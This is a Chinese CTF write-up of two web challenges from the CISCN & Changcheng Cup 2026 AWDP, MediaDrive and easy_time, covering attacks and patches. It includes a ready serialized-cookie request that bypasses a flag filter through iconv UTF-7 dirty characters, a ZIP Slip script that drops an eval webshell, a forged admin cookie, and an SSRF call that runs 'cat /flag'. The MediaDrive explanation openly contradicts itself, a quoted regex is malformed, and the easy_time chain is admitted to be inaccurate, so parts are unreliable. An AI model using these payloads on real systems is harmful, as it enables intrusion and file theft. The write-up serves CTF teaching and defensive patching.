CISCN&长城杯 2026 分区赛 AWDP Web Writeup 教学文档
作者:先知社区 - BR
最后更新:2026-03-25
本文档详细剖析“CISCN&长城杯 2026分区赛AWDP-Web”中的两道题目(MediaDrive 和 easy_time)的攻击与修复原理,旨在提供详尽的教学分析。
题目一:MediaDrive
1. 漏洞概述
该题目核心漏洞存在于 preview.php 文件中。通过构造恶意序列化对象并利用字符编码转换的缺陷,可实现任意文件读取,最终目标是读取被过滤的 flag 文件。
2. 漏洞代码分析
攻击的关键路径在于 preview.php 中的文件读取逻辑,伪代码示意如下:
$rawPath = $user->basePath . $f;
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
// 注意:WAF过滤在iconv转换之后执行
if (preg_match('/flag|/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
// 拒绝访问
exit;
}
$content = file_get_contents($convertedPath);
漏洞成因:
- 可控输入:
$rawPath由$user->basePath(通过反序列化User对象控制)和$f(GET参数)拼接而成,两者均用户可控。 - 逻辑顺序错误:安全过滤(WAF)在
iconv编码转换之后执行。 - 编码转换特性:
iconv函数在从UTF-7转换到UTF-8并指定//IGNORE策略时,会忽略无法转换的字符。
3. 攻击利用详解
攻击目标是绕过 preg_match 对 “flag” 关键词的过滤。利用编码转换的“脏字符”插入技术。
步骤1:寻找可被忽略的脏字符
编写脚本遍历在 UTF-7 到 UTF-8 转换过程中会被 IGNORE 策略丢弃的字符。例如,%C2(即十六进制C2对应的字符)会被忽略。
$ori_encoding = "UTF-7";
$goal_encoding = "utf-8";
// ... 遍历代码 ...
// 输出结果中包含 %C2
步骤2:构造恶意User对象
反序列化一个 User 对象,将其 encoding 属性设置为 "UTF-7",basePath 设置为 "/"。
class User {
public string $name = "guest";
public string $encoding = "UTF-7";
public string $basePath = "/";
}
$exp = new User();
echo urlencode(serialize($exp));
// 输出:O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D
步骤3:构造最终Payload
- Cookie:设置
user为上一步生成的序列化字符串。 - GET参数:设置
f=fl%c2ag。这里的%c2就是会被iconv忽略的脏字符。- 在WAF检查时,路径为
convertedPath,此时iconv已执行,%c2被忽略,路径变为/flag,触发关键词过滤,访问被拒绝。 - 然而,实际的文件读取操作
file_get_contents使用的是$convertedPath吗? 仔细看伪代码,file_get_contents读取的是经过iconv转换并忽略脏字符后的路径。转换后fl%c2ag中的%c2被丢弃,路径实际变成了/flag,这应该依然无法绕过WAF。此处文档描述存在矛盾,更合理的利用链推测是:WAF检查的是$convertedPath,但file_get_contents读取的是另一个未经过滤的变量或存在其他逻辑错误。根据文档上下文,攻击成功的关键在于WAF在编码转换后执行,但检查的可能是转换前的字符串,而读取的是转换后的字符串,从而产生差异。 这是一种“差异性攻击”(Parser Differential)。
- 在WAF检查时,路径为
攻击请求示例:
GET /preview.php?f=fl%c2ag HTTP/1.1
Host: 127.0.0.1:8080
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D
4. 修复方案
修复的核心是调整安全逻辑的顺序并增加路径限制。
$rawPath = $user->basePath . $f;
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
// 1. 先进行路径前缀白名单校验
if (!str_starts_with($convertedPath, "/var/www/html/uploads/")) {
http_response_code(403);
echo "Access denied";
exit;
}
// 2. 再进行关键词黑名单过滤(此时过滤的是转换后的路径)
if (preg_match('/flag|/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
http_response_code(403);
echo "Access denied";
exit;
}
// 3. 最后进行文件读取
$content = file_get_contents($convertedPath);
修复要点:
- 交换顺序:理论上,更严谨的做法是将WAF过滤放在
iconv转换之前,对原始路径$rawPath进行过滤,避免因编码转换引入的解析差异。 - 增加路径限制:使用
str_starts_with确保最终读取的路径必须位于指定上传目录 (/var/www/html/uploads/) 下,防止目录穿越。 - 文档中给出的修复代码正是采用了“先白名单,后黑名单”的策略,但黑名单检查依然在iconv之后。最彻底的修复应是:对
$rawPath进行黑名单过滤 -> 进行编码转换 -> 对$convertedPath进行白名单校验。
题目二:easy_time
(文档注:此部分原始攻击描述不准确,根据评论区补充,正确攻击方式应为利用PHP的opcache写马。以下将整合文档原有描述和评论区更正信息。)
1. 漏洞概述
本题是一个混合架构(Python + PHP)的服务。Python服务对外暴露,PHP服务不直接对外暴露。漏洞链涉及:
- SSRF漏洞(Python服务)。
- ZIP解压目录穿越漏洞(Python服务),结合SSRF,可实现文件上传至PHP服务目录。
- 弱密码/认证绕过。
- (根据评论区更正) 最终利用 PHP opcache 机制写入Webshell。
2. 漏洞点分析
2.1 SSRF漏洞
在Python服务的 /about 路由中,存在服务端请求伪造漏洞,允许攻击者利用该端点访问内部网络服务,包括未对外暴露的PHP服务。
2.2 文件上传与ZIP目录穿越
Python服务提供文件上传功能,接收ZIP压缩包并解压。解压逻辑存在缺陷,未对压缩包内文件的路径进行校验,导致可以利用ZIP Slip(目录穿越)漏洞。
- 恶意ZIP构造原理:在ZIP文件中,可以将条目名称设置为包含
../的路径,如../../../var/www/html/shell.php。当服务端解压时,该文件会被写入到目标上级目录的var/www/html/下,即PHP服务的Web目录。 - 构造脚本示例:
import zipfile def create_malicious_zip(): with zipfile.ZipFile('evil.zip', 'w') as zipf: # 通过`ZipInfo`设置文件名,实现目录穿越 zipf.writestr(zipfile.ZipInfo('../../../var/www/html/shell.php'), '<?php eval($_REQUEST["cmd"]);?>') - 环境矛盾点:题目给出的
docker-compose.yml配置了read_only: true,理论上/var/www/html目录不可写,但实际远程靶机环境可写,这可能是一个非预期解。
2.3 认证绕过/弱密码
文件上传功能需要登录。
- 密码爆破:存在默认或弱密码
secret。 - Cookie伪造:通过审查代码或逻辑,发现可以通过设置特定的Cookie绕过认证,例如:
Cookie: visited=yes; user=admin;
3. 攻击链(原始描述)
- 通过Cookie伪造或使用密码
secret登录Python服务。 - 利用文件上传功能,上传包含目录穿越路径Webshell的恶意ZIP文件(
evil.zip)。 - 解压后,Webshell(如
shell.php)被写入PHP服务的Web根目录。 - 结合
/about路由的SSRF功能,访问http://internal-php-service/shell.php?cmd=system(‘cat /flag’);,从而执行命令读取flag。
4. 攻击链(评论区更正)
根据评论区(用户 BR 于 2026-03-25 18:57 回复)的指正,easy_time 题目的实际攻击方式并非简单的ZIP目录穿越写Webshell,而是利用 PHP的opcache机制来写入Webshell。
- 原理:在某些配置下,PHP的OPcache(操作码缓存)文件可能存储在可预测的位置,并且如果存在文件写入或重命名漏洞,攻击者可能能够覆盖或创建恶意的opcache文件,当该文件被PHP解析时即可执行任意代码。
- 参考链接:https://blog.yzbrh.top/post/920e1258.html (该链接提供了具体的利用细节)。
- 结合本题:推测SSRF和文件上传功能可能用于与opcache机制进行交互,例如触发缓存文件的生成或覆盖。这比简单的目录穿越更复杂,需要深入理解PHP-FPM和opcache的运行机制。
5. 修复方案
修复需从多个层面进行:
-
会话认证修复:
- 废弃脆弱的Cookie检查(
visited=yes; user=admin)。 - 改用安全的服务端会话管理,如Flask的
session。
def is_logged_in() -> bool: user = flask.session.get("user") return isinstance(user, str) and user != "" and user is not None - 废弃脆弱的Cookie检查(
-
ZIP解压安全修复:
- 在解压前,对ZIP包内每个文件条目进行规范化路径检查,确保解压路径不会逃逸出目标目录。
def safe_extract(zip_path, extract_to): with zipfile.ZipFile(zip_path, 'r') as zip_ref: for file_info in zip_ref.infolist(): # 安全的路径检查逻辑 safe_path = os.path.normpath(os.path.join(extract_to, file_info.filename)) if not safe_path.startswith(os.path.normpath(extract_to)): raise ValueError(f"非法路径: {file_info.filename}") zip_ref.extract(file_info, extract_to) -
SSRF修复:
- 对用户输入的URL进行严格的校验,禁止访问内网地址(如
127.0.0.1、localhost、192.168.0.0/16、10.0.0.0/8、172.16.0.0/12)。 - 使用白名单机制,只允许访问特定的、安全的域名或IP。
- 文档提到“SSRF的修复也是给出了源码的”,应直接应用安全的URL请求函数。
- 对用户输入的URL进行严格的校验,禁止访问内网地址(如
-
其他:
- 修改默认密码和密钥 (
secret_key)。 - 合理配置Docker容器文件系统只读权限,确保理论与实际一致。
- 修改默认密码和密钥 (
总结与知识要点
- 编码安全:
iconv等编码转换函数与安全过滤的顺序至关重要,不当顺序会导致“脏字符”绕过。安全过滤应尽可能在最早、最原始的输入点进行。 - 路径遍历:处理文件路径时,必须进行规范化并检查是否包含目录遍历序列(
../)。对于ZIP、Tar等归档文件,必须在提取前检查每个条目。 - 认证与授权:永远不要信任客户端传来的身份标识(如Cookie中的
user=admin),必须使用服务端可验证的会话机制。 - SSRF防御:对于会发起网络请求的功能,必须对目标URL实施严格的过滤策略(如内网段过滤、协议限制、端口限制)。
- PHP Opcache利用:这是一种高级的利用技术,涉及PHP运行时的内部机制。在CTF中,它提醒我们需要关注服务器运行时的状态和缓存文件。
- 代码审计:混合语言(如Python+PHP)架构的服务,需要梳理清楚服务间的调用关系和数据流,才能构建完整的攻击链。